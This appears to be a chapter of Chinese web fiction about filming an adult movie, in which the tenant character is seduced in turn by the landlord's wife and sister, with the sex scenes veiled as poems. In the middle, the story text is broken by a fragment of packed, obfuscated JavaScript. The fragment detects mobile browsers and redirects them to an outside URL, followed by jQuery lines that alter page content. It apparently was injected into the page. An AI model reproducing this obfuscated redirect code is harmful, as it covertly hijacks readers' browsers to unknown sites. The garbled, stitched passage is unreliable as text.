第三天下午，伊希卡瓦電影廠的攝影棚裡，燈光已經調試到位，攝影機穩穩架在軌道上。隨著導演蔻吉若一聲令下，序列號為「KMRH-001」的電影正式開拍。
第一場戲，是房東與房客的初次見面。鏡頭對準門口，韓文憲以劇中身份「伊希卡瓦·韓文憲」緩緩走進，面帶拘謹。
房東奧雅瑪達·蔻吉若轉過頭來，看著眼前的年輕男子，語氣平和卻帶著審視：「伊希卡瓦先生？這名字聽起來……是入籍的吧？」
韓文憲略帶羞澀地點頭，語氣中透出一絲無奈：「是的。我原本來自國外。我的妻子姓伊希卡瓦，我是入贅的。後來……她因重病去世了。那段日子耗盡了全部積蓄，家產也全沒了。最後，我不得不離開卡米考阿伊村，到阿奇塔市找工作。」
蔻吉若微微皺眉，眼神裡帶著疑問：「健保應該能支撐一些吧？怎麼會把家產全部耗光？」
韓文憲苦笑了一下，語氣沉重：「當時我才剛剛入籍，對這個國家的健保制度還不熟悉，沒能即時申請上。為了救她，我還借了高利貸。她過世後，雖然追回了一部分保險金，把高利貸還清了，但自己也一無所有了。」
他停頓了一下，語氣更加低沉：「我本就不擅長耕種，可在那個村裡，幾乎所有人都靠農業維生。對於想做其他行業的人，他們不僅不理解，甚至充滿敵意。我在那裡已經無法再待下去，所以才決定來城市打工。」
蔻吉若沉默片刻，像是在衡量眼前這個年輕人的誠懇。最終，他語氣放緩，點頭說：「既然如此，那這房子就租給你吧。」
鏡頭隨著這句話定格，場務舉起手中拍板，「咔」的一聲落下。
第一場戲，順利完成。
燈光重新調整，攝影機緩緩移動到另一間布置成「臥室」的場景。這裡擺設簡單，木製的床榻、淺色的窗簾，還有一張擺放著茶具的小桌，氛圍平淡卻帶著生活氣息。導演蔻吉若換上劇中的身份，再度化身為房東奧雅瑪達·蔻吉若。對面坐著的，是飾演妻子的奧雅瑪達·琳卡。
蔻吉若率先開口，語氣沉穩而自然：「我明天得去伊巴拉奇省，可能要待上兩個星期，出差的事情拖不得。」
琳卡微微一愣，眼神裡有幾分不捨：「兩個星期？這麼久啊。家裡就只剩我和媽媽還有妹妹嗎？」
蔻吉若點點頭，帶著一絲歉意：「是啊，沒辦法。這次的事務繁瑣，我必須親自過去。對了，新來的房客你見過了嗎？」
琳卡搖搖頭，眉梢輕挑：「還沒有呢，聽說是個外地人？」
「嗯，他是移民，名字叫伊希卡瓦·韓文憲。」蔻吉若解釋得很簡單，像是在交代瑣事，「你有時間就去看一看。這小子看起來還算老實，不過，畢竟剛搬進來，難免不太懂我們的習慣。如果房子裡亂了，你就提醒他打掃清潔，保持整潔。」
琳卡輕聲笑了笑，帶著幾分調侃：「你呀，總是把房子看得那麼重要。」
「房子乾淨，人住得也舒服。」蔻吉若神色淡然，語氣裡卻透出不容置疑的堅持。
這場夫妻之間的短暫對話在平實的日常氣息裡落幕。導演一聲「停」，攝影師收了機器。蔻吉若脫下外套，帶著琳卡走回第一場戲拍攝的房間，準備接下來的拍攝。
燈光再次亮起，這一場的場景已經換成韓文憲所住的「租屋處」。小屋收拾得乾乾淨淨，桌上沒有一絲灰塵，地板也擦得發亮。
鏡頭前，韓文憲穿著簡單的襯衫，正在桌邊翻看報紙。片刻後，門被輕輕敲響。
琳卡出現在門口，帶著禮貌的笑容。她的聲音溫和而又帶點親近：「你好，我是房東的太太。老公今天出差去了伊巴拉奇省，要兩週才能回來，所以特地來看看你。」
韓文憲連忙起身，鞠了一個淺淺的躬，語氣恭敬：「您好，太太。房子收拾得還好嗎？我盡量保持整潔。」
琳卡環顧四周，眼裡閃過一抹驚訝，隨即笑道：「真的很整潔，比我想像的還要好。我原本還擔心一個新房客會比較隨便，沒想到你收拾得比我們自己還乾淨呢。」
韓文憲神情謙遜：「我已經入籍一段時間了，對這個國家的禮儀和習慣多少也懂一些。保持環境乾淨，是應該的。」
琳卡輕輕點頭，隨後語氣慢慢轉變：「不過啊，老公不在家，整棟房子就顯得冷清了些。」
韓文憲愣了一下，禮貌地微笑：「太太還有家人陪伴，應該不會太寂寞吧。」
「媽媽年紀大了，妹妹又太年輕，她們都不懂我的心情。」琳卡輕輕嘆息，眼神裡透出一抹若有若無的落寞，「兩個星期，可真是漫長呢。」
韓文憲不知如何回答，只得靜靜站著。
琳卡繼續說下去，語氣裡漸漸多了幾分曖昧：「你看，你一個人住在這裡，我也是一個人待在家裡。這樣的日子，未免太孤單了。」
韓文憲臉上閃過一絲不自在，略顯尷尬：「太太，您過獨自的日子應該也很習慣了吧？」
琳卡抿唇一笑，眼神直勾勾地望著他：「習慣？不，我可從來不習慣。尤其夜裡，一個人睡覺的時候，真是冷得讓人受不了。」
韓文憲臉上泛起一絲紅暈，連忙移開視線：「我……我理解，但這……」
「你不覺得嗎？」琳卡的聲音低沉下來，帶著幾分挑釁，「兩個孤單的人，應該互相陪伴才對。」
「太太……這樣說不太合適吧。」韓文憲試著挽回話題，卻被她截斷。
「合適與否，不是你我能決定的。」琳卡的語氣變得強勢，「有時候，寂寞比任何道德都更真實。」
「可是……」韓文憲還想解釋，卻被她進一步逼近。
「別可是了。」琳卡幾乎貼近他的耳畔，聲音低得像呢喃，「你不想嗎？」
短短十幾句話，氣氛從日常探訪漸漸推向曖昧，最後完全突破了應有的分寸。
隨後，鏡頭轉換，二十分鐘的動作戲正式展開，那真是：
鋼鐵列車入深山，幽暗隧道不見天。
出洞復入無窮盡，馳行猶似夢迴環。
列車倏忽光影動，隧道往來幾度間。
忽聞千嶂皆崩響，頓覺萬壑為之翻。
絕頂一聲驚雷落，蒼穹震盪破雲端。
機匣開時龍口現，巨砲噴薄出重關。
一彈迸射光如火，億萬猛虎勢難攔。
所向披靡摧枯朽，怒濤席捲蕩宇寰。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297080|132887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>最終，蔻吉若舉手示意，鏡頭定格在琳卡的臉上。十秒鐘的特寫過後，導演沉聲宣布：「第三場戲，結束。」
工作人員鬆了口氣，燈光漸漸熄下，場務喊出休息十分鐘。演員們各自走開，有的拿水，有的低聲交談，空氣裡瀰漫著汗水與咖啡的混合氣味。
十分鐘休息過去，導演蔻吉若一聲令下：「第四場戲，開始！」
門被推開，弗吉塔·米奇科走進來，臉上帶著幾分不快，步伐急促。她環顧房間一圈，隨即抬起下巴開口：「你就是伊希卡瓦先生吧？我是房東的妹妹，奧雅瑪達·米奇科。」
韓文憲立刻放下手中的書，神情恭謹：「您好，請坐。」
米奇科大大咧咧坐下，眉頭緊鎖：「今天在家裡，和媽媽又吵了一架。」
韓文憲微微一怔，語氣小心：「為什麼會吵架呢？」
「還不是因為那些小事！」米奇科語氣帶著怨氣，「媽媽總是嘮叨我，嫌我不幫忙做家務，嫌我懶。」
韓文憲試著安撫：「或許她只是關心你吧。」
「關心？那才不是！」米奇科冷笑一聲，眼神裡有點倔強，「以前這種時候，都是哥哥幫我說話。可這次哥哥出差了，沒人替我撐腰，我只好自己跑出來。」
韓文憲沉默了一下，點頭：「一個人在家的確會覺得孤單。」
米奇科忽然笑了，帶著一絲狡黠：「不過還好，這裡有你啊。」
韓文憲愣住，連忙擺手：「我……只是個房客。」
「房客也是人啊。」米奇科語氣漸漸柔和，卻帶著曖昧，「而且你看起來，比我認識的很多人都可靠。」
韓文憲臉色微紅，轉開視線：「謝謝誇獎。」
「你一個人住這麼大的房間，不會覺得太安靜嗎？」米奇科追問，眼神灼熱。
「安靜……倒也挺好，我喜歡清靜。」韓文憲語氣僵硬。
「可是我不喜歡安靜。」米奇科靠近一步，聲音壓低，「太安靜了，心裡會亂，會覺得空。」
「這……」韓文憲一時語塞。
米奇科彎起嘴角，眼神挑釁：「要不要……陪我說說話？或者，做些更能打發時間的事？」
韓文憲連忙後退一步，臉色發燙：「這樣說，不太合適吧。」
「哪裡不合適？」米奇科幾乎貼近他，語氣低沉，「哥哥不在家，媽媽只會責備我，只有你能聽我說話。你真的能拒絕嗎？」
短短幾句話，氣氛從普通談心急速滑向曖昧的邊緣。隨著米奇科的話語逐漸失當，空氣中壓抑的張力瞬間點燃。
隨後便是一場長達二十多分鐘的動作戲，那真是：
戰機昂首嘯長空，掠過烏雲影無蹤。
幾番來去驚雷電，鐵翼翻飛似蛟龍。
銀輝流線光一抹，劃破天際勢如鋒。
墨色翻滾欲傾覆，萬鈞雷霆藏其中。
座下飛彈轟然發，脫鎖穿雲疾似風。
神威一擊山河動，怒降猶勝數億鷹。
最終，導演蔻吉若舉手示意，鏡頭定格在米奇科的臉上。十秒鐘的特寫之後，他沉聲宣布：「第四場戲，結束！」
場務立刻喊道：「休息十分鐘！」